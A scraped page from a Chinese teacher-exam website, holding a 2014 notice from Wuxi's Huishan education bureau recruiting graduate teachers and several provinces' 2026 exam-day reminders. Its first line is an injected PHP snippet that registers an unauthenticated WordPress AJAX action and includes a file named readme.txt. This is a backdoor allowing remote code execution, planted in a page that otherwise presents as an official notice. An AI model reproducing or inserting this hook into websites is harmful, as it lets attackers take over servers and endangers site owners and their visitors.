if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
无锡市惠山区教育局公开招聘2015届研究生公告-全国教师资格考试网

无锡市惠山区教育局公开招聘2015届研究生公告

无锡市惠山区教育局公开招聘
2015届普通高校硕士及以上学位毕业研究生公告

 
  根据惠山区教育事业发展需要,按照《无锡市事业单位公开招聘人员实施办法》(锡委办发[2012]54号)的文件精神,经无锡市惠山区人力资源和社会保障局审核,报无锡市公开招聘综合管理部门核准,无锡市惠山区教育局决定公开招聘2015届普通高校硕士及以上学位毕业研究生25名(详见附件1《招聘岗位简介表》)。现将有关事项公告如下:
一、报考条件
1、具有中华人民共和国国籍,遵纪守法,品行端正;热爱应聘岗位工作,具有良好的敬业精神;
2、具备正常履行职责的身体条件;
3、年龄限30周岁以下(1985年1月1日以后出生)、户籍不限;
 4、2015年全日制普通高等院校硕士及以上学位毕业研究生﹙含2014年获得国(境)外研究生学历或硕士及以上学位,须经国家教育部留学服务中心认证﹚,专业对口,符合招录岗位所要求的其他条件;
 5、已取得相应教师资格证或未取得但须承诺于2015年7月31日前取得相应教师资格证。
6、有下列情况之一者不得报考:
(1) 曾因犯罪受过刑事处罚、劳动教养、少年管教的;
(2) 受到党纪、政纪处分的;
(3) 参加非法组织的;
(4) 其他不适宜担任教师职务者。
二、报名
1、报名方式、时间、地点
(1)报名方式:报名采用现场报名方式进行,本人必须到场并现场采集电子照片。
(2)报名时间:2014年12月3-4日,上午9:00—11:00,下午1:00—4:30,逾期一律不再接受报名。
(3)报名地点:江苏省无锡市惠山区教育局一楼会议室(无锡市惠山区堰桥街道文惠路18号)。
2、注意事项
报名与考试使用的身份证必须一致。报名一经确认,不得更改。报名时需提供以下材料的原件及复印件各1份:
(1)报名表(见附件2,可从网上下载,如实填写,贴好近期免冠正面一寸照片1张);
(2)本人已取得的本科及以上毕业证书、学位证书、教师资格证书、毕业生就业推荐表;
(3)在有效期内的第二代身份证;
(4)承诺书(见附件3,必须由本人亲笔签名);
(5)报考岗位规定的其它证明材料。
报考人员伪造、编造有关证件、证明材料等骗取考试资格的,一律取消报考资格(已录用的取消录用资格)。
3、考试费用
根据江苏省财政、物价部门核定考试费标准,报名资格初审通过者缴纳100元/人,进入面试者,缴纳面试费100元/人。以下人员可减免考试费(报名时提供原件及1份复印件):享受最低生活保障家庭的报考人员(凭最低生活保障证明和低保证);特困家庭的报考人员(当地民政部门出具证明材料)。
4、开考比例
所有岗位设1:3开考比例。达不到开考比例的岗位,核减招聘计划或取消招聘岗位,报考被取消招聘岗位的考生,可以改报其他符合报考条件的岗位,补报名时间为2014年12月5日上午9:00—11:00,下午1:00—4:30,补报名地点仍设在原报名地点。放弃补报名资格的考生,退还已缴纳的报名费。
5、领取准考证
报名现场领取笔试准考证。
三、考核
1、笔试
笔试满分为100分,合格线为50分,达不到合格线者直接淘汰。笔试时间为2014年12月6日(具体时间、地点详见准考证),笔试内容为专业知识。根据招聘岗位,分别按笔试成绩从高到低的顺序,按招录数1:3的比例确定取得面试资格人员(末位同分跟进)。
2、面试
面试满分为100分,面试时间、地点另行通知。面试形式为说课,说课内容为报考岗位相关教材。面试合格线为60分,达不到合格线者直接淘汰。面试成绩由考生当场签字确认。
3、总成绩计算方法
(1)考试总成绩由笔试成绩和面试成绩按比例(笔试30%,面试70%)折算后相加组成,满分为100分。
(2)根据总成绩从高到低的顺序,分别按招录岗位计划数1:1的比例确定体检人选。如末位同分,则取面试成绩高者为体检人选;如笔试、面试成绩都同分,则另外进行加试,取加试成绩高者为体检人选。
四、体检、考察、聘用
面试结束后3个工作日内公布拟体检名单,体检合格者签订就业协议。体检标准和项目按照《江苏省教师资格认定体检标准》执行,体检费用个人自理。体检不合格者,直接淘汰。因体检不合格、逾期未签订就业协议书等原因出现岗位空缺时,则在报考该岗位的考生中按总成绩从高分到低分一次性递补。
 2015年全日制普通高校毕业生未按时毕业和2015年7月31日前未取得相应教师资格者,就业协议自动解除。
在正式办理聘用手续前,对签订就业协议的考生进行考察,并公示考察结果。考察合格者,签订聘用合同;考察不合格者,取消聘用资格。
    聘用人员实行见习期制度,见习期考核不合格者,终止聘用,另行择业。
 五、招聘考务相关信息发布网址
 招聘岗位、招聘条件等有关情况可通过以下网站查询:
 无锡市惠山区教育局:www.hsjy.net
 无锡市惠山区人社局:www.hsrcw.gov.cn
 本次公开招聘的其他各类信息,仅在惠山区教育局网站公布,请各位考生及时登陆查询。
 六、招聘纪律与监督
 事业单位招考录用工作,坚持贯彻“公开、平等、竞争、择优”的原则,严肃招考纪律,严格秉公办事,接受纪检、监察部门和社会监督。为方便群众和社会监督,杜绝不正之风,特设立监督举报电话:
无锡市惠山区纪委:0510-83598180
无锡市惠山区教育局纪委: 0510-83592405
无锡市惠山区人力资源和社会保障局:0510-83598176
七、本公告由无锡市惠山区教育局负责解释。
八、联系方式
报名咨询电话:0510-83592406、0510-83592407

无锡市惠山区教育局
2014年11月5日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部